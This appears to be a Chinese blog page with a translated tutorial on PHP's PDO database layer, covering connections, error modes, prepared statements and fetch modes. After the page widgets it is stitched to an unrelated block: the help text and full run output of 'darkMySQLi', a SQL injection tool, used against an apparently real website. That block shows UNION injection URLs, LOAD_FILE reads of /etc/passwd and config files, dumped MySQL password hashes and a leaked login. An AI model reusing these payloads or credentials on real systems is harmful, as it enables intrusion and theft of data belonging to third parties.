pdo的使用操作1

很多程序员都学习过如何使用 MySQL 或 MySQLi 扩展访问数据库。在 PHP 5.1 中,有一个更好的方法。 PHP Data Objects (PDO) 提供了很多预处理语句的方法,且使用对象将使你的工作更有成效!

PDO 介绍

“PDO – PHP Data Objects – 是一个对多种数据库提供统一操作方法的数据库访问层。”

它并不具备数据库特有的语法,但它将使切换数据库和平台更加容易,多数情况下,只需要简单修改链接字符串。

PDO - db abstraction layer

这并非一篇完整教导如何使用SQL的教程。它重要为那些现今仍在使用 mysql 或 mysqli 扩展的人,帮助他们跃至更具可移植性和强力的 PDO。

数据库支持

此扩展可以使用 PDO 驱动编写过的所有数据库。在本文书写时,下面的数据库支持已经实现:

  • PDO_DBLIB ( FreeTDS / Microsoft SQL Server / Sybase )
  • PDO_FIREBIRD ( Firebird/Interbase 6 )
  • PDO_IBM ( IBM DB2 )
  • PDO_INFORMIX ( IBM Informix Dynamic Server )
  • PDO_MYSQL ( MySQL 3.x/4.x/5.x )
  • PDO_OCI ( Oracle Call Interface )
  • PDO_ODBC ( ODBC v3 (IBM DB2, unixODBC and win32 ODBC) )
  • PDO_PGSQL ( PostgreSQL )
  • PDO_SQLITE ( SQLite 3 and SQLite 2 )
  • PDO_4D ( 4D )

你的系统不会也不必支持所有上面的驱动;下面是一个快速检查所支持数据库的方法:

1print_r(PDO::getAvailableDrivers());

连接

不同数据库的连接方法可能稍有不同,下面是一些较为流行的数据库连接方法。你将注意到,虽然数据库类型不同,前三种数据库的连接方式是相同的——而 SQLite 使用自己的语法。

Connection String
01try { 
02  # MS SQL Server andSybase with PDO_DBLIB 
03  $DBH = newPDO("mssql:host=$host;dbname=$dbname, $user, $pass"); 
04  $DBH = newPDO("sybase:host=$host;dbname=$dbname, $user, $pass"); 
05 
06  # MySQL with PDO_MYSQL 
07  $DBH = newPDO("mysql:host=$host;dbname=$dbname", $user, $pass); 
08 
09  # SQLite Database 
10  $DBH = newPDO("sqlite:my/database/path/database.db"); 
11
12catch(PDOException $e) { 
13    echo$e->getMessage(); 
14}

注意 try/catch 块——你应该总是使用 try/catch 包装你的 PDO 操作,并使用异常机制——这里只是简单的示例。通常,你只需要一个连接——有很多可以教你语法的列表。 $DBH 代表“数据库句柄”,这将贯穿全文。

通过将句柄设置为 NULL,你可以关闭任一连接。

1# close the connection 
2$DBH = null;

你可以在PHP.net找到更多数据库特定选项和/或其它数据库连接字符串的信息。

异常与 PDO

PDO 可以使用异常处理错误,这意味着你的所有 PDO 操作都应当包装在一个 try/catch 块中。你可以通过设定错误模式属性强制 PDO 在新建的句柄中使用三种错误模式中的某一个。下面是语法:

1$DBH->setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT ); 
2$DBH->setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING ); 
3$DBH->setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION );

无论你设定哪个错误模式,一个错误的连接总会产生一个异常,因此创建连接应该总是包装在 try/catch 块中。

PDO::ERRMODE_SILENT

这是默认的错误模式。如果你使用这个模式,你将得使用同 mysql 或 mysqli 扩展一样的方法差错。其它两种模式更适合 DRY 编程。

PDO::ERRMODE_WARNING

此方法将会发出一个标准PHP警告,并允许程序继续运行。这对调试很有帮助。

PDO::ERRMODE_EXCEPTION

这是多数情况下你所希望的方式。它生成异常,允许你更容易的处理错误,隐藏可能导致它人了解你系统的信息。下面是一个充分利用异常的示例:

01# connect to the database 
02try { 
03  $DBH = newPDO("mysql:host=$host;dbname=$dbname", $user, $pass); 
04  $DBH->setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION ); 
05 
06  # UH-OH! Typed DELECT instead of SELECT! 
07  $DBH->prepare('DELECT name FROM people'); 
08
09catch(PDOException $e) { 
10    echo"I'm sorry, Dave. I'm afraid I can't do that."; 
11    file_put_contents('PDOErrors.txt', $e->getMessage(), FILE_APPEND); 
12}

在 select 语句中有一个故意留下的错误;这将导致一个异常。异常错误细节保存至一个 log 文件,并生成一段友好的(或不怎么友好的)信息於用户。

插入和更新

插入新数据,更新已存数据是一种非常常见的数据库操作。使用 PDO,这通常需要两个步骤。本节中所述的所有内容对更新和插入都有效。

2 to 3 step insert and update

这里有一个最基本的插入示例:

1# STH means "Statement Handle"
2$STH = $DBH->prepare("INSERT INTO folks ( first_name ) values ( 'Cathy' )");
3$STH->execute();

你也可以使用 exec() 完成相同的操作,这将减少调用。多数情况下,你会使用调用多的方法,以充分利用语句预处理的优势。即使你只用它一次,使用语句预处理,帮助你保护你的 SQL 免于注入攻击。

预处理语句

使用语句预处理将帮助你免于SQL注入攻击。

一条预处理语句是一条预编译的 SQL 语句,它可以使用多次,每次只需将数据传至服务器。其额外优势在于可以对使用占位符的数据进行安全处理,防止SQL注入攻击。

你通过在 SQL 语句中使用占位符的方法使用预处理语句。下面是三个例子:一个没有占位符,一个使用无名占位符,一个使用命名占位符。

1# no placeholders - ripe for SQL Injection!
2$STH = $DBH->("INSERT INTO folks (name, addr, city) values ($name, $addr, $city)");
3 
4# unnamed placeholders
5$STH = $DBH->("INSERT INTO folks (name, addr, city) values (?, ?, ?);
6 
7# named placeholders
8$STH = $DBH->("INSERT INTO folks (name, addr, city) value (:name, :addr, :city)");

你希望避免第一种方法。选择命名我无名占位符将会对你对语句中数据的设置产生影响。

无名占位符

01# assign variables to each place holder, indexed 1-3
02$STH->bindParam(1, $name);
03$STH->bindParam(2, $addr);
04$STH->bindParam(3, $city);
05 
06# insert one row
07$name = "Daniel"
08$addr = "1 Wicked Way";
09$city = "Arlington Heights";
10$STH->execute();
11 
12# insert another row with different values
13$name = "Steve"
14$addr = "5 Circle Drive";
15$city = "Schaumburg";
16$STH->execute();

这里有两步。首先,我们对各个占位符指定变量(2-4行)。然后,我们对各个占位符指定数据,并执行语句。要发送另一组数据,只需改变这些变量的值并再次执行语句。

这种方法看上去对拥有很多参数的语句很笨拙吧?的确。然而,当数据保存于数组中时,这非常容易简略:

1# the data we want to insert
2$data = array('Cathy', '9 Dark and Twisty Road', 'Cardiff');
3 
4$STH = $DBH->("INSERT INTO folks (name, addr, city) values (?, ?, ?);
5$STH->execute($data);

容易吧!

数组中的数据按顺序填入占位符中。 $data[0]是第一个,$data[1]是第二个,依次。不过,要是数组中数据的次序不正确,这将不能正常运行,你需要先对数组排序。

命名占位符

你可能已经开始猜测语法了,不过下面就是示例:

1# the first argument is the named placeholder name - notice named
2# placeholders always start with a colon.
3$STH->bindParam(':name', $name);

你可以看使用快捷方式,但它需使用关联数组。下面是示例:

1# the data we want to insert
2$data = array( 'name' => 'Cathy', 'addr' => '9 Dark and Twisty', 'city' => 'Cardiff' );
3 
4# the shortcut!
5$STH = $DBH->("INSERT INTO folks (name, addr, city) value (:name, :addr, :city)");
6$STH->execute($data);

数组中的键不需要以冒号开头,但其它部分需要同占位符匹配。如果你有一个二维数组,你只需遍历它,并对遍历的每个数组执行语句。

命名占位符的另一个好的功能是直接将对象插入到你的数据库中,只要属性同命名字段匹配。下面是一个示例对象,以及如何将它插入到数据库中的示例:

01# a simple object
02class person {
03    public $name;
04    public $addr;
05    public $city;
06 
07    function __construct($n,$a,$c) {
08        $this->name = $n;
09        $this->addr = $a;
10        $this->city = $c;
11    }
12    # etc ...
13}
14 
15$cathy = new person('Cathy','9 Dark and Twisty','Cardiff');
16 
17# here's the fun part:
18$STH = $DBH->("INSERT INTO folks (name, addr, city) value (:name, :addr, :city)");
19$STH->execute((array)$cathy);

通过在执行时将对象转换为数组,输将将会同数组的键一样对待。

Selecting Data

Fetch data into arrays or objects

数据通过语句句柄的->fetch() 方法获取。在调用 fetch 之前,最好通知 PDO 你所希望获取数据的方式。你有如下选项:

  • PDO::FETCH_ASSOC:返回一个通过字段名称索引的数组。
  • PDO::FETCH_BOTH (default):返回一个数组,同时通过序号和名称索引。
  • PDO::FETCH_BOUND:通过->bindColumn() 方法绑定变量获取返回值
  • PDO::FETCH_CLASS: 将返回值分配给一个命名类。如果类匹配属性不存在,则将创建相应的属性。
  • PDO::FETCH_INTO: 更新一个命名类现有的实例化对象。
  • PDO::FETCH_LAZY: 结合 PDO::FETCH_BOTH/PDO::FETCH_OBJ, 同它们各自方式一样创建对象的变量名称。
  • PDO::FETCH_NUM:返回一个按列顺序数字索引的数组
  • PDO::FETCH_OBJ:返回一个匿名对象,属性名称对应列名。

在实际应用中,三个就能涵盖大多数情况:FETCH_ASSOC、FETCH_CLASS 和 FETCH_OBJ。要设定 fetch 方法,使用如下语法:

1$STH->setFetchMode(PDO::FETCH_ASSOC);

你也可以在调用 ->fetch() 方法时直接设定。

FETCH_ASSOC

这个 fetch 创建一个关联数组,通过列的名称索引。这对使用过 mysql/mysqli 扩展的人应该相当熟悉。下面是通过此方法获取数据的示例:

01# using the shortcut ->query() method here since there are no variable
02# values in the select statement.
03$STH = $DBH->query('SELECT name, addr, city from folks');
04 
05# setting the fetch mode
06$STH->setFetchMode(PDO::FETCH_ASSOC);
07 
08while($row = $STH->fetch()) {
09    echo $row['name'] . "\n";
10    echo $row['addr'] . "\n";
11    echo $row['city'] . "\n";
12}

while 循环将继续逐行遍历结果集,直到遍历完毕。

FETCH_OBJ

此 fetch 将为返回数据的每一行创建一个标准对象。示例如下:

01# creating the statement
02$STH = $DBH->query('SELECT name, addr, city from folks');
03 
04# setting the fetch mode
05$STH->setFetchMode(PDO::FETCH_OBJ);
06 
07# showing the results
08while($row = $STH->fetch()) {
09    echo $row->name . "\n";
10    echo $row->addr . "\n";
11    echo $row->city . "\n";
12}

FETCH_CLASS

对象的属性将在构造函数被调用之前完成设置,这点非常重要。

此 fetch 方法允许你将获取结果直接填入你选择的类中。当使用 FETCH_CLASS 时,对象的属性将在构造函数被调用之前完成设置。再读一遍,这点相当哪个重要。如果匹配列名称的属性不存在,这些属相将被创建(以 public 方式)。

这意味着,如果你的数据在从数据库中读取后需要转化处理,它可以在每个对象创建时由对象自动处理。

例如,假如每条记录的地址都需要掩盖一部分。我们可以在构造函数中操作这个属性。示例如下:

01class secret_person {
02    public $name;
03    public $addr;
04    public $city;
05    public $other_data;
06 
07    function __construct($other = '') {
08        $this->address = preg_replace('/[a-z]/', 'x', $this->address);
09        $this->other_data = $other;
10    }
11}

当数据被获取到类中时,地址的所有小写字母 a-z 都被 x 替换。现在,使用类和完成数据转化是完全透明的。

1$STH = $DBH->query('SELECT name, addr, city from folks');
2$STH->setFetchMode(PDO::FETCH_CLASS, 'secret_person');
3 
4while($obj = $STH->fetch()) {
5    echo $obj->addr;
6}

如果地址是 ’5 Rosebud,’,你将看到 ’5 Rxxxxxx’ 这样的输出。当然,有时你希望构造函数在数据设置之前被调用。PDO 也考虑到这种情形。

1$STH->setFetchMode(PDO::FETCH_CLASS | PDO::FETCH_PROPS_LATE, 'secret_person');

现在,当你使用这个 fetch 模式(PDO::FETCH_PROPS_LATE)重复前一个示例代码时,地址不会被掩盖,因为构造函数在属性分配之前就被调用了。

最后,如果你真的需要,你可以在使用 PDO 获取数据到对象中时传值给构造函数:

1$STH->setFetchMode(PDO::FETCH_CLASS, 'secret_person', array('stuff'));

如果你对每个对象的构造函数传递的数据不同,你可以在 fetch 方法中设置 fetch 模式。

1$i = 0;
2while($rowObj =  $STH->fetch(PDO::FETCH_CLASS, 'secret_person', array($i))) {
3    // do stuff
4    $i++
5}

其它一些有用的方法

尽管并不是说 PDO 就涵盖了一切(它并非一个庞大的扩展!)。它依然有一些其它的方法,在使用 PDO 做一些基础工作时会用到。

1$DBH->lastInsertId();

->lastInsertId() 方法永远在数据库句柄上被调用,而非语句句柄,并将返回该连接插入的最后一条插入行的自增长id值。

1$DBH->exec('DELETE FROM folks WHERE 1');
2$DBH->exec("SET time_zone = '-8:00'");

->exec() 方法被用来执行那些无返回值或影响行数据的的命令。上面就是两条使用exec 方法的例子。

1$safe = $DBH->quote($unsafe);

->quote() 方法将过滤字符串引号,这样你就可以在查询语句中安全的使用了。此返回函数适应于不适用预处理语句的情形。

1$rows_affected = $STH->rowCount();

->rowCount() 方法返回一个操作影响数据行的数量整数。在某个已知PDO版本中,根据 [this bug report](http://bugs.php.net/40822) 该方法对 select 语句无效。如果你遭遇此问题,请更新PHP,你也可以使用下面的代码获取行数:

01$sql = "SELECT COUNT(*) FROM folks";
02if ($STH = $DBH->query($sql)) {
03    # check the row count
04    if ($STH->fetchColumn() > 0) {
05 
06    # issue a real select here, because there's data!
07    }
08    else {
09        echo "No rows matched the query.";
10    }
11}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
darkMySQLi v.1.0 rsauron@gmail.com Usage: ./darkMySQLi.py [options] Options: -h, --help shows this help message and exits -d, --debug display URL debug information Target: -u URL, --url=URL Target url Methodology: -b, --blind Use blind methodology (req: --string) -s, --string String to match in page when the query is valid Method: --method=PUT Select to use PUT method Modes: --dbs Enumerate databases MySQL v5+ --schema Enumerate Information_schema (req: -D, opt: -T) MySQL v5+ --full Enumerate all we can MySQL v5+ --info MySQL Server configuration MySQL v4+ --fuzz Fuzz Tables & Columns Names MySQL v4+ --findcol Find Column length MySQL v4+ --dump Dump database table entries (req: -T, opt: -D, -C, --start, --stop) MySQL v4+ Define: -D DB database to enumerate -T TBL database table to enumerate -C COL database table column to enumerate Optional: --where=COL,VALUE Use a where clause in your dump --orderby=COL Use a orderby clause in your dump --proxy=PROXY Use a HTTP proxy to connect to the target url --output=FILE.TXT Output results of tool to this file 实例: darkc0de:darkMySQLi rsauron$ ./darkMySQLi.py -u "http://www.rayner.com/products.php?id=22/**/AND/**/1=2/**/UNION/**/SELECT/**/1,darkc0de,3,4, 5,6,7,8,9,10" --info |--------------------------------------------------| | rsauron@gmail.com v1.0 | | 1/2009 darkMySQLi.py | | -- Multi Purpose MySQL Injection Tool -- | | Usage: darkMySQLi.py [options] | | -h help darkc0de.com | |--------------------------------------------------| [+] URL: http://www.rayner.com/products.php?id=22/**/AND/**/1=2/**/UNION/**/SELECT/**/1,darkc0de,3,4,5,6,7,8,9,10 [+] 14:06:17 [+] Evasion: /**/ -- [+] Cookie: None [-] Proxy Not Given [+] Gathering MySQL Server Configuration... Database: db2889_rayner_en User: mysql2889@localhost Version: 5.0.32-Debian_7etch1-log [+] Do we have Access to MySQL Database: YES <-- w00t w00t [!] http://www.rayner.com/products.php?id=22/**/AND/**/1=2/**/UNION/**/SELECT/**/1,concat(user,0x3a,password),3,4,5,6,7,8,9,10+FROM+mysql .user-- [+] Dumping MySQL user info. host:user:password [+] Number of users in the mysql.user table: 6 [0] localhost:root:N [1] dlx35341:root:N [2] localhost:debian-sys-maint:*0EF29B1AED94CC60062FED7F4DF2224A0C880A10 [3] localhost:mysql2908:*6F0D804E0EB35256C22367F95D8D1E31A4E5BAAD [4] localhost:mysql2970:*7351A8BF4BD4C9E8FD20109F24916B9C93ADBF83 [5] localhost:mysql2889:*8050739003BBDB60551FA99B5FFF34957C4F5F49 [+] Do we have Access to Load_File: YES <-- w00t w00t [!] http://www.rayner.com/products.php?id=22/**/AND/**/1=2/**/UNION/**/SELECT/**/1,load_file(0x2f6574632f706173737764),3,4,5,6,7,8,9,10-- [+] Magic quotes are: OFF [+] Starting Load_File Fuzzer... [+] Number of system files to be fuzzed: 37 [!] Found /et@c/pa@sswd [!] http://www.rayner.com/products.php?id=22/**/AND/**/1=2/**/UNION/**/SELECT/**/1,LOAD_FILE(0x2f6574632f706173737764),3,4,5,6,7,8,9,10-- [!] Found /et@c/hos@ts [!] http://www.rayner.com/products.php?id=22/**/AND/**/1=2/**/UNION/**/SELECT/**/1,LOAD_FILE(0x2f6574632f686f737473),3,4,5,6,7,8,9,10-- [!] Found /et@c/m@otd [!] http://www.rayner.com/products.php?id=22/**/AND/**/1=2/**/UNION/**/SELECT/**/1,LOAD_FILE(0x2f6574632f6d6f7464),3,4,5,6,7,8,9,10-- [!] Found /et@c/apach@e2/apache2.conf [!] http://www.rayner.com/products.php?id=22/**/AND/**/1=2/**/UNION/**/SELECT/**/1,LOAD_FILE(0x2f6574632f617061636865322f617061636865322e 636f6e66),3,4,5,6,7,8,9,10-- [!] Found /et@c/apa@che2/httpd.conf [!] http://www.rayner.com/products.php?id=22/**/AND/**/1=2/**/UNION/**/SELECT/**/1,LOAD_FILE(0x2f6574632f617061636865322f68747470642e636f 6e66),3,4,5,6,7,8,9,10-- [!] Found /et@c/ap@ache2/sites-available/default [!] http://www.rayner.com/products.php?id=22/**/AND/**/1=2/**/UNION/**/SELECT/**/1,LOAD_FILE(0x2f6574632f617061636865322f73697465732d6176 61696c61626c652f64656661756c74),3,4,5,6,7,8,9,10-- [!] Found /et@c/m@ysql/my.cnf [!] http://www.rayner.com/products.php?id=22/**/AND/**/1=2/**/UNION/**/SELECT/**/1,LOAD_FILE(0x2f6574632f6d7973716c2f6d792e636e66),3,4,5, 6,7,8,9,10-- [-] 14:06:43 [-] Total URL Requests: 48 [-] Done info dump with where clause option and debug turned on darkc0de:darkMySQLi rsauron$ ./darkMySQLi.py -u "http://www.rayner.com/products.php?id=22/**/AND/**/1=2/**/UNION/**/SELECT/**/1,darkc0de,3,4, 5,6,7,8,9,10" --dump -D db2889_rayner_en -T auth -C name,pass --where pass,ridley --debug |--------------------------------------------------| | rsauron@gmail.com v1.0 | | 1/2009 darkMySQLi.py | | -- Multi Purpose MySQL Injection Tool -- | | Usage: darkMySQLi.py [options] | | -h help darkc0de.com | |--------------------------------------------------| [+] URL: http://www.rayner.com/products.php?id=22/**/AND/**/1=2/**/UNION/**/SELECT/**/1,darkc0de,3,4,5,6,7,8,9,10 [+] 14:17:43 [+] Evasion: /**/ -- [+] Cookie: None [-] Proxy Not Given [+] Gathering MySQL Server Configuration... [debug] http://www.rayner.com/products.php?id=22/**/AND/**/1=2/**/UNION/**/SELECT/**/1,concat(0x6461726b63306465,0x1e,version(),0x1e,user (),0x1e,database(),0x1e,0x6461726b63306465),3,4,5,6,7,8,9,10-- Database: db2889_rayner_en User: mysql2889@localhost Version: 5.0.32-Debian_7etch1-log [+] Dumping data from database "db2889_rayner_en" Table "auth" [+] and Column(s) ['name', 'pass'] [+] WHERE clause: WHERE+pass=0x7269646c6579 [+] ORDERBY clause: [debug] http://www.rayner.com/products.php?id=22/**/AND/**/1=2/**/UNION/**/SELECT/**/1,concat(0x1e,0x1e,COUNT(*),0x1e,0x20),3,4,5,6,7,8,9 ,10/**/FROM/**/db2889_rayner_en.auth/**/WHERE/**/pass=0x7269646c6579-- [+] Number of Rows: 1 [debug] http://www.rayner.com/products.php?id=22/**/AND/**/1=2/**/UNION/**/SELECT/**/1,concat(0x1e,0x1e,name,0x1e,pass,0x1e,0x1e,0x20),3, 4,5,6,7,8,9,10/**/FROM/**/db2889_rayner_en.auth/**/WHERE/**/pass=0x7269646c6579/**//**/LIMIT/**/0,1-- [1] rayneriol:ridley: [-] 14:17:45 [-] Total URL Requests: 3 [-] Done 具体用户请看提示帮助
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值